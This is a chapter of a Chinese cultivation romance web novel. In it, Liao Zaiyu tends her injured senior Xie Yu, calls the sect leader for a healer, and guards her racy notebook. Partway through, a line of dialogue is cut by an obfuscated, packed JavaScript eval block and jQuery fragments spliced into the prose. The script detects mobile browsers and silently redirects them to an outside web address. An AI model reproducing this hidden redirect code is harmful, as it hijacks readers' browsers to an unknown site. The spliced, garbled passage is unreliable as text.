10. 谢谕是很好抱的

作品:《霸道牛马爱上他

    一时间,空气寂静无比。


    除了两颗不同频的心脏跳动的声音,再没其他声响。


    直到“啪嗒”一声,原稿掉在榻上,廖在羽才悄然回神。


    天气不怎么凉,且灵洲的服饰不似华国古代的那样繁琐、保守,更何况谢谕本就是就寝之后临时披衣而来,没有穿得多正式。


    一件玄色单衣,虽不透色,但极为单薄。


    热气透过布片传递到她的脸上,柔软而厚实的触感挤压着她的脸颊和鼻梁。光线无法从两侧汇入,霎时天地昏黑,适宜睡觉。


    廖在羽是个成年女性,她能在田螺帖子下面评论“惊喜田螺”的时候,也必然会在男妈妈帖子下面评论“惊喜男妈妈”。


    只是没想到,一天之内,两个愿望,一次实现。


    谢谕是很好抱的,无论是手感、脸感,还是厚实程度、横宽比例,都恰到好处。


    就连体温也恰好停在一个温暖而不灼人的区间。


    甚至还能嗅到澡豆的淡淡清香。


    但凡他只是一个高级人偶呢?但凡他只是一件陪睡用品呢?


    那想必廖在羽日后回家的步伐都会轻快几分。


    可他不是。他是个人,还是她师叔祖。


    这就让廖在羽很尴尬了。


    前一秒发现谢谕拿到了她的口口文学,脑子里瞬间把九个单元故事回忆了个遍,后一秒两人就以这种姿势倒在榻上,这怎么能不让人脑子发黄。


    因为嘴正好卡在谷口处,紧贴着薄薄的衣物和皮肉,廖在羽连嘴都不敢动,生怕谢谕以为她是故意揩他油。


    廖在羽倒是很想立即起来,但姿势使然,不太方便。


    她在摔下来的时候,为了不让手上的酱汁把床笫弄脏,她只好让手腕尽量远离床笫,使前臂与上半身呈九十度作为支撑。


    如此一来,她的手肘就无比完美地插在谢谕胸口两侧之外的位置上。


    而又因为谢谕胸口厚度过高,廖在羽的上臂和前臂折叠之后的长度过短,导致她无法通过手肘的助力垂直起身。


    她无比完美地被卡住了,动弹不得。


    在将错就错和立即扳正谬误之间,廖在羽选择装死。


    时间一分一秒地流走。


    她感觉脸皮压着的那两块肌肉在隐隐颤抖,头顶上传来的呼吸声似乎有点沉重。


    而谢谕也一直没有说话,只有时快时慢的心跳提示着时间的流逝。


    心跳?


    廖在羽突然感觉事情不太对劲。


    一般来说,异性突然与自己产生亲密接触,心跳加快是正常的。


    但频率不应该是时快时慢的。


    并且按照谢谕的性子,他此刻应当是会开口揶揄她的才对。


    再说,谢谕被她撞倒这件事就极其不可思议。


    他被十头鼢鼠孽种轮着撞,都不一定能倒。


    廖在羽一拧眉,觉得大事不妙了。


    也不管脏不脏了。她摁住谢谕的肩膀,一蹬腿从他身上爬了起来。


    昏黄的阵灯下,谢谕的脸歪向了一侧。双目紧闭,眉毛紧锁,额头冒汗,手也握了拳,指尖死死陷进肉里。


    廖在羽一时间没反应过来,以为自己是不是穿越了时空。


    他怎么突然难受成这样了?


    “师叔祖?”她伸出手在谢谕眼前晃晃,“能听到我说话吗?”


    谢谕喉咙里漏出一个含糊的音节,眼睛睁开了一条缝,眼珠子略微转了转,竟又闭上了。


    廖在羽“嘶”一声,感觉大事不妙。


    她快步走去洗手,胳膊底下夹着通信玉牌,边洗边给夏瑛打通信。


    击云宗的医师都是半吊子水,顶多治一下跌打外伤、脱臼骨折这类疾病。但再复杂的病,他们就再没办法了。


    恰好,药王谷与击云宗有合作,每季度都排遣医师来坐镇,而这几日,那位医师还没有离开。


    她没有医师的联系方式,一时间情急,竟没有任何头绪,只好给夏瑛打通信。


    大概出事找妈妈,是大部分人的第一反应吧。


    在等待夏瑛接通信的时间里,她把谢谕扶到靠墙的一侧,还替他在腰后摆了一个枕头。


    夏瑛接了通信:“还不睡吗?你道行不够,不要学你师姐师兄。”


    灵的亲和力和神识修炼到了一定的水准之后,道者的睡眠和进食需求会全方位下降。


    廖在羽的统御道是学得很好,但毕竟年纪轻,在亲和力和神识两方面要远逊于章闵和胡炜瑫。


    她听夏瑛开始啰嗦,头就隐隐作疼。她揉了揉太阳穴,随口敷衍:“嗯嗯,知道了。我本来是准备睡的,但这不是出了点事嘛。”


    夏瑛:“什么事?”


    廖在羽:“师叔祖疼晕过去了。”


    谢谕这种层次的征锋道道者,对自己身体的掌控度是极高的,他们甚至可以让自己忽视部分疼痛。


    能让他疼晕,并不是小事。


    夏瑛自己也是修征锋道的,很快理解了廖在羽的言外之意。她立即道:“你们在哪?我立即去请药王谷的医师。”


    廖在羽:“西区142号。”


    夏瑛喃喃复述,念到一半的时候觉察出什么不对劲来:“这不是你家吗?”


    廖在羽:“对。”


    对面沉默了一阵。


    良久,夏瑛平静的嗓音从玉牌里传来:“大半夜的,他来你家?”


    廖在羽面不改色:“师叔祖来找我吃宵夜。”


    “不是别的?”


    “不是别的。”


    夏瑛又沉默了半晌,才道:“在羽,你今晚没吃饱吗?”


    廖在羽有点烦躁地扯了扯头发:“宗主,我对他什么想法都没有,你先别乱想,还是叫医修要紧。”


    夏瑛:“好,你等着。我跟药王谷的医师一起过来。”


    没等她回应,她就挂断了电话。


    廖在羽抬头望向谢谕。


    他不知什么时候已经冷静下来了,正低垂着眼眸,分外没有精神地看她。


    纤长的睫毛一闪一闪地颤,胸口起起伏伏,呼吸略微凌乱,仿佛分外脆弱、任人宰割。


    廖在羽下意识咽了一口唾沫,回神:“你还好吗?我给宗主打了通信,请她帮忙联系药王谷的医修了。”


    “嗯,我听见了。”谢谕想坐直身子,可动作到一半,顿时又没有了力气,像风中的稻草人一样轻轻地前后摇晃着。


    廖在羽又给他塞了一个软枕,抓着他的胳膊把他摁了回去。


    “躺好,别乱动。你是什么情况,你自己知道吗?”


    谢谕冲她眨了眨眼睛,声音飘忽地道:“许是去酒吧舞的那日落下的伤。那天之后,后背偶尔会疼。”


    廖在羽一时不知道该夸他坚强还是骂他没脑子:“你疼,不知道找医师?”


    “受伤了还去奶茶店摇奶茶……三百多岁的人了,孰轻孰重都不知道吗?”


    谢谕竟然笑了笑,眉眼弯弯地道:“没有很严重,它会自己痊愈的。”


    “这叫没有很严重?”


    “伤口已经结痂了。你很担心我?”


    词尾拉老长,言语间又有了往日揶揄廖在羽的意味。


    短短几句话的时间,谢谕好像完全缓过来了。他没骨头似的靠着软枕,很有精神地挑眼看她。


    廖在羽被他气得冒火:“谁担心你。我是担心你死在我这,影响我风水。”


    谢谕眼尾耷拉下来,好像有点遗憾:“哦,是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318084|167337||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这样吗?”


    “……不是,是气话。”


    她没好气道。


    算了,他还受着伤。看在“嫩羊肉”的份上,让让他好了。


    谢谕扬起嘴角:“嗯嗯嗯,就知道小羽毛担心我。”


    廖在羽一时无言以对,她在书桌前坐下,无所事事地刷着击云宗频道的帖子。


    【野史记录家|孽种袭击镇云城,谢道尊与廖统领联手将其反杀!速来看留影!】


    孽种的消息,在击云宗内部已经传遍了。夏瑛下午便召集所有留宗的弟子,开了个动员会,好叫大家齐心应对。


    至于镇云城的百姓,自然有不少人目睹了那场胜利。一时间,舆论再次发酵,“一个征锋道道者与一个阵修合作,便能守住城门”的自信言论布满了频道的每一个角落。


    酒吧舞事件带来的恐慌,已经被频道忘得一干二净了。


    廖在羽记得,酒吧舞事件的后续报告里,其实是死了人的。


    两位死于孽种的吞噬,一位死于感染。


    死于感染的那一位,浑身发黑发软,最终变成了一团巨大的泡泡。


    就目前而言,感染是不可制止、且不可逆的。它被章闵处理了。


    那三位死者的消息,在网上也发酵过一段时间,但都被临时舆论监测小组控制了风向。


    因而目前,留在镇云城的居民虽然依旧恐慌,但对击云宗却很有信心。两日来,除了绝少出城门以外,他们的生活并没有多大的变化。


    击云宗和镇云城的安保归胡炜瑫管,孽种研究归章闵管,他们的事务,廖在羽其实并没有面面俱到地了解。


    即使她下属的舆论小组需要与他们对接,她也不过是把控大体方向,完全没有空闲了解细节。


    倒是趁现在这空闲,她刷了几个官方的、民间的帖子,大概了解了现况。


    谢谕没力气够玉牌,只好把打发时间的期望寄托于廖在羽身上。可廖在羽一动不动刷了一会玉牌。


    他觉得无聊:“在羽,我们就在这干等吗?”


    “昂,那你找点事情做做。”


    廖在羽没抬头,随手摸了一本阵法图鉴扔给谢谕。


    她开始刷坊间八卦了。


    【跟凡人丈夫成亲之后,我爱上了我的道者婆婆。】


    【头牌男伎冲冠一怒为红颜,背后竟是这般那般!】


    【完蛋了,我和我道侣居然是失散多年的同母异父的兄妹】


    【对象睡觉老踹我,请问我该分手吗?】


    她噼哩啪啦开始敲字,往评论区灌毫无意义的水。


    人就是爱听八卦。


    “小羽毛,我不想看这个,我想看你的小本子。”


    廖在羽耳朵一抖。


    谢谕说的小本子,就是她的口口文学。


    方才谢谕犯病,一时情急,她就把她的口口文学忘了个一干二净!


    她猛地抬头,发现谢谕已经坐了起来,向前探着身子,想够一旁的口口文学。


    “不行!”


    廖在羽大惊失色,她“唰”地一下站了起来,椅子腿划拉过地面,发出刺耳的声音。


    她想也没想,伸长手朝谢谕扑过去,一把抓住了他手上的本子。


    与此同时,两人再次重心不稳,势不可挡地朝榻上倒去。


    廖在羽:“草。”


    她眼疾手快把小本子丢到身后,释放双手支撑住身子,然后听见谢谕重重摔在榻上。


    紧接着,一股血腥味蔓延开来。


    廖在羽看了一下他摔下的位置,顿时觉得不妙。


    床上杂物有点多,谢谕摔的那个地方,之前貌似放了一个还未雕刻的阵胚。


    十二个面,带尖角的那种设计。